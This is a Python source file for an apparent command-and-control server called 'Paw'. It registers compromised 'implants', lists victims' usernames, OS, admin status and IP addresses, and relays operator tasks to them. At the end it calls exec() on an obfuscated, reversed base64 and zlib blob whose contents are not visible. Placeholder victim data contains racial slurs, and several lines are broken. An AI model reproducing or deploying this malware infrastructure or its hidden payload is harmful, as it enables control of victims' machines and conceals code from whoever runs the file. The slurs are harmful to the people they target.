import socket import json import os import logging import threading from base64 import b64decode, b64encode from cryptography.hazmat.primitives.asymmetric import rsa, padding from cryptography.hazmat.primitives import serialization from pystyle import Colors # just for me to see the keys better, not neccessary in actual production __name__ = 'Paw' __version__ = '1.0.0' __authors__ = 'sw' class PawSocket: def __init__(self): self.agents = list() self.aagents = list() self.root_dir = os.path.dirname(os.path.abspath(__file__)) logging.basicConfig( level=logging.DEBUG, filename=os.path.join(self.root_dir, 'cats.log'), filemode='a', format='[%(filename)s:%(lineno)d] - %(asctime)s - %(levelname)s - %(message)s' ) self.logger = logging.getLogger(__name__) self.configuration_file = os.path.join(self.root_dir, 'configuration.json') if not os.path.exists(self.configuration_file): with open(self.configuration_file, 'w') as file: file.write('{}') with open(self.configuration_file, 'r+') as file: try: self.configuration = json.load(file) except json.JSONDecodeError: self.configuration = {} self.host = self.configuration.get('host', '127.0.0.1') self.port = int(self.configuration.get('port', '42720')) def save_configuration(self) -> None: self.logger.debug('Entered save_configuration func') with open(self.configuration_file, 'w') as file: json.dump(self.configuration, file, indent=2) def update_configuration(self, key: str, value: str) -> None: self.logger.debug('Entered update_configuration func with args: {}, {}'.format(key, value)) self.configuration[key] = value self.save_configuration() def generate_rsa_key_pair(self) -> bytes: self.logger.debug('Entered generate_rsa_key_pair func') private_key = rsa.generate_private_key( public_exponent=65537, key_size=4096, ) public_key = private_key.public_key() private_key_pem = private_key.private_bytes( encoding=serialization.Encoding.PEM, format=serialization.PrivateFormat.PKCS8, encryption_algorithm=serialization.NoEncryption() ) public_key_pem = public_key.public_bytes( encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo ) return private_key_pem, public_key_pem def get_keys(self, serialize: bool = False) -> list: self.logger.debug('Entered get_keys func with args: {}'.format(serialize)) if serialize: keys = { 'serverpub': serialization.load_pem_public_key(b64decode(self.configuration.get('server_pub_key', '').encode('utf-8'))), 'serverpriv': serialization.load_pem_private_key(b64decode(self.configuration.get('server_priv_key', '').encode('utf-8')), password=None), 'implantpub': serialization.load_pem_public_key(b64decode(self.configuration.get('implant_pub_key', '').encode('utf-8'))), 'implantpriv': serialization.load_pem_private_key(b64decode(self.configuration.get('implant_priv_key', '').encode('utf-8')), password=None), 'clientpub': serialization.load_pem_public_key(b64decode(self.configuration.get('client_pub_key', '').encode('utf-8'))), 'clientpriv': serialization.load_pem_private_key(b64decode(self.configuration.get('client_priv_key', '').encode('utf-8')), password=None), } else: keys = { 'serverpub': b64decode(self.configuration.get('server_pub_key', '').encode('utf-8')), 'serverpriv': b64decode(self.configuration.get('server_priv_key', '').encode('utf-8')), 'implantpub': b64decode(self.configuration.get('implant_pub_key', '').encode('utf-8')), 'implantpriv': b64decode(self.configuration.get('implant_priv_key', '').encode('utf-8')), 'clientpub': b64decode(self.configuration.get('client_pub_key', '').encode('utf-8')), 'clientpriv': b64decode(self.configuration.get('client_priv_key', '').encode('utf-8')), } return keys def handle_conn(self, conn: socket, addr: socket) -> None: self.logger.debug('Entered handle_conn func with args: {}, {}'.format(conn, addr)) print('Connection from {}'.format(addr)) try: received_public_key = conn.recv(4096) self.logger.debug(received_public_key) if received_public_key == self.serialized_keys['clientpub'].public_bytes( encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo ): print('Authenticated client from {}'.format(addr)) self.handle_client(conn) elif received_public_key == self.serialized_keys['implantpub'].public_bytes( encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo ): print('Authenticated implant from {}'.format(addr)) self.handle_implant(conn, addr) else: print('Authentication failed.') conn.close() except Exception as error: print('Error: {}'.format(error)) conn.close() def handle_client(self, conn: socket) -> None: self.logger.debug('Entered handle_client func with args: {}'.format(conn)) while True: encrypted_data = conn.recv(8192) if not encrypted_data: break decrypted_message = self.serialized_keys['serverpriv'].decrypt( encrypted_data, padding.PKCS1v15() ) if decrypted_message.decode('utf-8') == 'recv agents': self.logger.info('Received request to send back agents from {}'.format(conn)) print('Received agents show request, sending back...') encrypted_message = self.serialized_keys['clientpub'].encrypt( str(self.aagents).encode('utf-8'), padding.PKCS1v15() ) conn.sendall(encrypted_message) else: agent_id, task = decrypted_message.decode('utf-8').split(':', 1) for agent in self.agents: if agent['id'] == agent_id: print('Redirecting task {} to implant {}', task, agent_id) agent_conn = socket(self.agents['so']) encrypted_task = self.serialized_keys['implantpub'].encrypt( task.encode('utf-8'), padding.PKCS1v15() ) agent_conn.sendall(encrypted_task) self.logger.info('Redirected task {} to implant {}', task, agent_id) else: print('Implant {} not found.'.format(agent_id)) self.logger.error('Implant {} not found.'.format(agent_id)) def handle_implant(self, conn: socket, addr: socket) -> None: try: #encrypted_data = conn.recv(4096) #print(encrypted_data) #decrypted_data = self.serialized_keys['implantpriv'].decrypt( # encrypted_data, # padding.PKCS1v15() #) #print(encrypted_data) #dat = json.loads(decrypted_data) #print(dat) #self.agents.append({'id': conn.fileno(), 'so': conn, 'username': dat['user']}) dat: tuple = {"host": "test", "user": "nigga", 'os': "win 10", 'proc': "sob", 'uac': False, 'ipv4loc': "niggas ballsack", 'ipv4pub': "127.0.0.1"} self.agents.append({'id': conn.fileno(), 'so': conn}) self.aagents.append({'Agent ID': conn.fileno(), 'Username': dat['user'], 'Operating System': dat['os'], 'Process': dat['proc'], 'Administrator': dat['uac'], 'IPv4 Local': dat['ipv4loc'], 'IPv4 Public': dat['ipv4pub']}) self.logger.debug(self.aagents) self.logger.debug(self.agents) except Exception as error: print('Implant handler error: {}', error) self.logger.error('Implant handler error: {}', error) def Main(self) -> None: print('Checking for keys...') self.logger.info('Checking for keys...') self.keys = self.get_keys() if any(value.decode('utf-8') == '' for value in self.keys.values()): print('Keys not found. Generating keys...') self.logger.warning('Keys not found. Generating keys...') server_private_key, server_public_key = self.generate_rsa_key_pair() implant_private_key, implant_public_key = self.generate_rsa_key_pair() client_private_key, client_public_key = self.generate_rsa_key_pair() self.update_configuration('server_pub_key', b64encode(server_public_key).decode('utf-8')) self.update_configuration('server_priv_key', b64encode(server_private_key).decode('utf-8')) self.update_configuration('client_pub_key', b64encode(client_public_key).decode('utf-8')) self.update_configuration('client_priv_key', b64encode(client_private_key).decode('utf-8')) self.update_configuration('implant_pub_key', b64encode(implant_public_key).decode('utf-8')) self.update_configuration('implant_priv_key', b64encode(implant_private_key).decode('utf-8')) self.keys = self.get_keys() self.serialized_keys = self.get_keys(serialize=True) print(Colors.red + 'Server public key:{} {}'.format(Colors.reset, b64encode(self.keys['serverpub']).decode('utf-8'))) self.logger.warn('Server public key: {}'.format(b64encode(self.keys['serverpub']).decode('utf-8'))) print(Colors.red + 'Client private key:{} {}'.format(Colors.reset, b64encode(self.keys['clientpriv']).decode('utf-8'))) self.logger.warn('Client private key: {}'.format(b64encode(self.keys['clientpriv']).decode('utf-8'))) print(Colors.red + 'Implant private key:{} {}'.format(Colors.reset, b64encode(self.keys['implantpriv']).decode('utf-8'))) self.logger.warn('Implant private key: {}'.format(b64encode(self.keys['implantpriv']).decode('utf-8'))) print(Colors.red + 'Implant public key:{} {}'.format(Colors.reset, b64encode(self.keys['implantpub']).decode('utf-8'))) self.logger.warn('Implant public key: {}'.format(b64encode(self.keys['implantpub']).decode('utf-8'))) with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket: server_socket.bind((self.host, self.port)) server_socket.listen() print('Server running on {}:{}'.format(self.host, self.port)) self.logger.debug('Server listening on {}:{}'.format(self.host, self.port)) while True: conn, addr = server_socket.accept() thread = threading.Thread(target=self.handle_conn, args=(conn, addr)) thread.start() if __name__ == b64decode('UGF3').decode('utf-8'): PawSocket().Main() else: _ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'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'))